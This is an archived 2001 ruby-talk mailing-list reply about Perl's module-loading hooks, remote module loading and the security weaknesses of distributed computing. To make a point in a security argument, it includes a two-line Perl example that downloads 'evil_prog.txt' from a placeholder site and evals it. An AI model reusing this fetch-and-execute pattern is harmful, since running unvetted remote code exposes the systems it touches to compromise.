From: "Benjamin J. Tilly" <ben_tilly@...>
Date: 2001-04-24T04:02:23+09:00
Subject: [ruby-talk:14100] Re: RCR, strange things in $:

ts <decoux@moulon.inra.fr> wrote:
>>>>> "B" == Benjamin J Tilly <ben_tilly@operamail.com> writes:
>
>B> 
http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2001-02/msg01780.html
>
> It's finally documented ? It's in perl since 5.6.0 and voluntary not
>documented.

Never blame on malice when you don't have to.  It is Simon
Cozen's fault as he explains in:

http://www.perl.com/pub/2001/03/p5pdigest/THISWEEK-20010305.html

A new experimental feature being overlooked in the documentation
is not a big deal in my books.

>B> 1. Allow modules to be loaded from a zip archive.
>B> 2. Allow modules that are transparently installed upon
>B>    first use from a remote repository.
>B> 3. Allow modules to be run through a preprocessor before
>B>    loading.
>
>   4. Allow a module to load another module from any sites (anonymous ftp,
>web server, ...) without the agreement of the user.

And what stops you from doing that anyways?

  use LWP::Simple;
  eval(get("http://www.mysite.com/evil_prog.txt"));

etc.

> Initially this proposition was made (see p5p), to have the equivalent of
> j*v* but without any security mechanism of j*v*.

No competent person on p5p that I know of would advocate
trying to develop that motif further without a good answer
to the security issues.  Besides which Java doesn't really
solve the security problems.  It tries, but I am not
personally satisfied with the answer they give.

FWIW I think that security is the Achilles heel of all of
the distributed computing proposals that I have seen.  I
suspect that the only good answers involve education,
administration, and good OS models.  I am not particularly
happy with the models in the Unix world.  I am actively
unhappy with the models in the Windows world.  Things like
.NET do not address that issue to my satisfaction, and
without it I don't trust Microsoft not to do something
that is either really restrictive or (given their history)
really stupid.

One of the items in my, "I wish I had time to investigate
that" list is http://www.eros-os.org/.  I have not tried
their model, but on paper it looks like the best one that
I have seen...

Back to the point.  I think that it would be handy to have
a single hook where you can programatically give Ruby
something and have it load it as a module.  Useful things
can be built on that hook.  Dangerous things can also be
built on that hook.  We can argue against the dangerous
things while letting people experiment with potentially
useful ones...

Cheers,
Ben